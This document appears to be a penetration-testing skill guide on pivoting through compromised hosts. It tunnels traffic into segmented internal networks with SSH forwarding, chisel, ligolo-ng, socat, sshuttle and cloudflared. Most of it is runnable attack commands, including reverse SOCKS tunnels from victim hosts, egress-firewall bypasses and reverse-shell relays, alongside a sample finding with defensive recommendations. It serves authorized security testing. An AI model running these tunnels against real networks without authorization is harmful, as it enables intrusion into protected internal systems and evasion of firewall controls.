| name | performing-network-pivoting-and-tunneling |
| description | Pivoting through compromised hosts and tunneling traffic to reach segmented internal networks using SSH local/remote/dynamic forwarding, chisel, ligolo-ng, socat, sshuttle, proxychains, and SOCKS proxies during authorized engagements. |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["penetration-testing","pivoting","tunneling","port-forwarding","socks-proxy","lateral-movement"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Performing Network Pivoting and Tunneling
When to Use
- After compromising a dual-homed host that can reach an internal network you cannot
- When a target service is only reachable from a jump/pivot host (DMZ -> internal segregation)
- When you need to run local tools (nmap, smbclient, evil-winrm, RDP) against hosts behind a pivot
- When an egress firewall only permits outbound HTTPS and you must tunnel C2/return traffic
- When relaying reverse shells out of an internal host through a chain of compromised boxes
Critical: Techniques Most Often Missed
The classic mistake is forgetting that SOCKS/proxychains cannot carry ICMP or SYN scans, then concluding "the host is down". Always scan correctly through a proxy.
proxychains nmap -sT -Pn -n -p 445,3389,5985 10.10.17.25
./chisel server -p 8080 --reverse
./chisel client 10.10.14.3:8080 R:socks
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
sudo ./proxy -selfcert
./agent -connect <attacker_ip>:11601 -accept-fingerprint <fp>
sshuttle -r user@pivot 10.10.10.0/24
How to CONFIRM the tunnel works: from the attacker, proxychains curl -s telnet://<internal_ip>:445 (or ncat) should complete the TCP handshake; with ligolo/sshuttle, a plain nmap -sT -Pn <internal_ip> reaches the host directly. Verify the listener is bound (ss -tlnp | grep 1080) and that proxychains config points at the right port (default 1080).
Workflow
Step 1: SSH Port Forwarding (when you have SSH on the pivot)
ssh -i key user@pivot -L 631:<internal_ip>:631 -N -f
ssh -i dmz_key -R <pivot_ip>:443:0.0.0.0:7000 root@pivot -vN
ssh -f -N -D 9050 user@pivot
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
Step 2: chisel (no SSH, or you need a fast SOCKS over HTTP)
./chisel server -p 8080 --reverse
./chisel client 10.10.14.3:8080 R:socks
./chisel client 10.10.14.20:12312 R:4505:127.0.0.1:4505
./chisel server -v -p 8080 --socks5
./chisel client -v 10.10.10.10:8080 socks
Step 3: ligolo-ng (routed tunnel — best for multi-host / scanning)
sudo ./proxy -selfcert
interface_create --name "ligolo"
certificate_fingerprint
./agent -connect <attacker_ip>:11601 -v -accept-fingerprint <fingerprint>
session
tunnel_start --tun "ligolo"
ifconfig
interface_add_route --name "ligolo" --route <subnet>/<mask>
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
Step 4: socat / sshuttle / Metasploit relays
socat TCP4-LISTEN:1234,fork TCP4:<internal_ip>:<rport> &
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:target.internal:80,socksport=9050
sshuttle -D -r user@pivot 10.10.10.0/24 --ssh-cmd 'ssh -i ./id_rsa'
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf
Step 5: Egress-Constrained / Firewall-Bypass Tunnels
cloudflared tunnel --url socks5://localhost:1080 --socks5
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
Key Concepts
| Concept | Description |
|---|
Local forward (-L) | Bind a port on your host that tunnels to a remote host:port via the pivot |
Remote forward (-R) | Open a port on the pivot/remote that connects back to your host (reverse) |
Dynamic forward (-D) | Turn the SSH session into a SOCKS proxy reaching anything the pivot can |
| SOCKS proxy | Generic TCP proxy; consumed by proxychains. Cannot carry ICMP or raw SYN |
| proxychains | Hooks libc to route a tool's TCP (and DNS) through a SOCKS/HTTP proxy |
| Routed tunnel (ligolo/sshuttle) | Presents internal subnets as a local interface/route — no per-tool proxy needed |
| Reverse vs forward tunnel | Reverse: victim dials out (firewall-friendly). Forward: attacker dials in |
Tools & Systems
| Tool | Purpose |
|---|
ssh (-L/-R/-D) | Built-in local, remote, dynamic forwarding; -w for tun VPN |
| chisel | Fast TCP/SOCKS tunnel over HTTP; reverse and forward modes (match versions) |
| ligolo-ng | TUN-interface pivot with routes and listeners; no proxychains required |
| sshuttle | Transparent subnet/VPN-style tunnel over a plain SSH login |
| socat | Flexible relays, SSL wrapping, SOCKS-aware forwards, reverse shells |
| proxychains | Route arbitrary TCP tools through a SOCKS/HTTP proxy |
| cloudflared / ngrok / frp | Outbound-only tunnels to bypass ingress ACLs and NAT |
| iodine / dnscat2 / ptunnel-ng | DNS and ICMP tunnels for highly restricted egress |
Common Scenarios
Scenario 1: DMZ Web Server to Internal Subnet
A web host in the DMZ is compromised. A reverse chisel SOCKS proxy lets the tester run proxychains nmap -sT -Pn and evil-winrm against the internal 10.10.20.0/24 the attacker box cannot route to.
Scenario 2: SSH Jump Box with -D
The tester has SSH creds on a jump box. ssh -fND 9050 user@jump plus proxychains gives transparent TCP access to the internal estate without dropping tools on the host.
Scenario 3: ligolo-ng Multi-Hop Scan
Deep segmentation requires scanning several subnets. ligolo-ng presents them as routed interfaces, so native nmap and Impacket tools work end-to-end without per-tool proxy config.
Scenario 4: Egress-Locked Network
Only outbound 443 is allowed. cloudflared tunnel --url socks5://localhost:1080 --socks5 establishes a SOCKS path out over Cloudflare's edge, bypassing the ingress firewall.
Output Format
## Network Pivoting Finding
**Vulnerability**: Insufficient network segmentation enabling internal pivoting
**Severity**: High
**Location**: Pivot host web-dmz01 (10.10.14.50) -> internal VLAN 10.10.20.0/24
### Reproduction Steps
1. Compromise web-dmz01 (dual-homed: DMZ + internal)
2. Victim: ./chisel client 10.10.14.3:8080 R:socks (attacker runs chisel server --reverse)
3. echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
4. proxychains nmap -sT -Pn -n -p445,3389,5985 10.10.20.0/24
5. Reached DC 10.10.20.10:445/5985 from the external attacker box
### Reachable Internal Assets (via pivot)
| Host | Port | Service |
|------|------|---------|
| 10.10.20.10 | 5985 | WinRM (DC) |
| 10.10.20.25 | 3389 | RDP |
| 10.10.20.40 | 445 | SMB file share |
### Recommendation
1. Segment the DMZ from internal VLANs with default-deny east-west rules
2. Restrict outbound connections from DMZ hosts (egress filtering) to break reverse tunnels
3. Monitor for long-lived outbound TCP/HTTPS sessions and unexpected SOCKS listeners
4. Alert on tunneling binaries (chisel, ligolo, socat) and anomalous DNS/ICMP volume